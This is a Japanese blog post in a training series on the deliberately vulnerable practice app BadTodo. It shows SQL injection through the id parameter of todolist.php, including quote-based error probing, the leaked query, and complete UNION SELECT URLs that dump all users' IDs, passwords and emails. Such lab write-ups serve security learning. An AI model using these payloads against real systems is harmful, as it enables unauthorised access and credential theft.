やられアプリ BadTodo - 3.7 SQLインジェクション idパラメータに対して

前回:やられアプリ BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得 - demandosigno

これまで、主にTodoリスト一覧画面のkeyパラメータに対してSQLインジェクションを試して来ました。
/todolist.php?rnd=64fe3eba0ee01&key=%27+UNION+SELECT+NULL%2C+NULL%2C+id%2C+userid%2C+pwd%2C+email%2C+icon%2C+super%2C+NULL%2C+NULL+FROM+todo.users+%23

もう一つ、「ユーザID」をクリックした際に呼び出されるリクエストのidパラメータにもSQLインジェクションがあります。

これは4.3 XSS ID毎のTodo一覧画面にてidパラメータのXSSを試した際にSQLのエラーが発生したことから推測できます。

またZAPでも検出されています。

今回もまずシングルクォーテーションを1つid='と3つid='''入力してそれぞれエラーを出してみます。(2つでは文字列リテラルが閉じられ正しいSQL文となるのでエラーは出ません)

これによりエラー位置とSQL文が分かります。

SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public
  FROM todos INNER JOIN users
    ON users.id=todos.owner
    AND (todos.owner=''' OR ?)
    AND (todos.owner = ?
    OR todos.public > 0
    OR ? > 0)

あとはkeyパラメータの際と同じようにSQL文を微調整してidパラメータとしてアドレスバーに入力します。

https://todo.example.jp/todolist.php?id=0) UNION SELECT NULL, NULL, id, userid, pwd, email, icon, super, NULL, NULL FROM todo.users%23(%23は#をエンコードしたものでそれ以降のクエリをコメントアウトするために必要)
アドレスバーに貼り付けてEnterキーを押せば概ねブラウザが%エンコードをかけてくれます↓
https://todo.example.jp/todolist.php?id=0)%20UNION%20SELECT%20NULL,%20NULL,%20id,%20userid,%20pwd,%20email,%20icon,%20super,%20NULL,%20NULL%20FROM%20todo.users%23

結果、Todoリスト登録者全員のIDとパスワードが表示されます。

次回:BadTodo - 3.8 SQLインジェクション sqlmapを使ってみる - demandosigno

/* -----codeの行番号----- */